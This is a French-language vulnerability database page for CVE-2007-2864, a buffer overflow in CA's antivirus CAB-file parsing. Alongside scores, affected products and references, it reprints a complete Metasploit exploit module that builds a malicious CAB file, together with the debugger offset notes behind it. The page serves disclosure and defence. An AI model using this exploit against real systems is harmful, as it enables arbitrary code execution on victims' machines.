CVE-2007-2864 : Détail

CVE-2007-2864

95.04%V3
Network
2007-06-06
19h00 +00:00
2018-10-16
12h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Stack-based buffer overflow in the Anti-Virus engine before content update 30.6 in multiple CA (formerly Computer Associates) products allows remote attackers to execute arbitrary code via a large invalid value of the coffFiles field in a .CAB file.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 16677

Date de publication : 2010-11-10 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ca_cab.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'CA Antivirus Engine CAB Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637. By creating a specially crafted CAB file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2007-2864' ], [ 'OSVDB', '35245'], [ 'BID', '24330' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 250, 'BadChars' => "\x00", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll ], 'Privileged' => false, 'DisclosureDate' => 'Jun 05 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']), ], self.class) end def exploit cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00" cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00" cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00" cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00" sploit = make_nops(268 - payload.encoded.length) + payload.encoded sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string sploit << make_nops(800) cab = cab_header + sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(cab) end end =begin 0:001> !exchain 00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8) 00cdf2fc: 316a4130 Invalid exception stack at 6a413969 0:001> !pattern_offset 1024 0x6a413969 [Byakugan] Control of 0x6a413969 at offset 268. 0:001> !pattern_offset 1024 0x316a4130 [Byakugan] Control of 0x316a4130 at offset 272. 0:001> u 0x6dc886ea L3 INOCORE!QSIInitQSysInfo+0x278a: 6dc886ea 5f pop edi 6dc886eb 5e pop esi 6dc886ec c3 ret =end

Products Mentioned

Configuraton 0

Broadcom>>Anti-virus_for_the_enterprise >> Version 8

Broadcom>>Brightstor_arcserve_backup >> Version 9.01

Broadcom>>Brightstor_arcserve_backup >> Version 10.5

Broadcom>>Brightstor_arcserve_backup >> Version 11

Broadcom>>Brightstor_arcserve_backup >> Version 11.1

Broadcom>>Brightstor_arcserve_backup >> Version 11.5

Broadcom>>Common_services >> Version 1.0

Broadcom>>Common_services >> Version 1.1

Broadcom>>Common_services >> Version 2.0

Broadcom>>Common_services >> Version 2.1

Broadcom>>Common_services >> Version 2.2

Broadcom>>Common_services >> Version 3.0

Broadcom>>Etrust_antivirus >> Version 8.0

Broadcom>>Etrust_antivirus >> Version 8.1

Broadcom>>Etrust_antivirus_gateway >> Version 7.1

Broadcom>>Etrust_antivirus_sdk >> Version *

Broadcom>>Etrust_ez_antivirus >> Version 6.1

Broadcom>>Etrust_ez_antivirus >> Version 7.0

Broadcom>>Etrust_ez_armor >> Version 1.0

Broadcom>>Etrust_ez_armor >> Version 2.0

Broadcom>>Etrust_ez_armor >> Version 3.0

Broadcom>>Etrust_ez_armor >> Version 3.1

Broadcom>>Integrated_threat_management >> Version 8.0

Broadcom>>Internet_security_suite >> Version 1.0

Broadcom>>Internet_security_suite >> Version 2.0

Broadcom>>Internet_security_suite >> Version 3.0

Broadcom>>Unicenter_network_and_systems_management >> Version 3.0

Broadcom>>Unicenter_network_and_systems_management >> Version 3.1

Broadcom>>Unicenter_network_and_systems_management >> Version 11

Broadcom>>Unicenter_network_and_systems_management >> Version 11.1

Ca>>Etrust_secure_content_manager >> Version 8.0

Ca>>Protection_suites >> Version r2

    Ca>>Protection_suites >> Version r3

      Références

      http://www.securityfocus.com/bid/24330
      Tags : vdb-entry, x_refsource_BID
      http://www.kb.cert.org/vuls/id/105105
      Tags : third-party-advisory, x_refsource_CERT-VN
      http://www.vupen.com/english/advisories/2007/2072
      Tags : vdb-entry, x_refsource_VUPEN
      http://www.securitytracker.com/id?1018199
      Tags : vdb-entry, x_refsource_SECTRACK
      http://www.osvdb.org/35245
      Tags : vdb-entry, x_refsource_OSVDB
      http://secunia.com/advisories/25570
      Tags : third-party-advisory, x_refsource_SECUNIA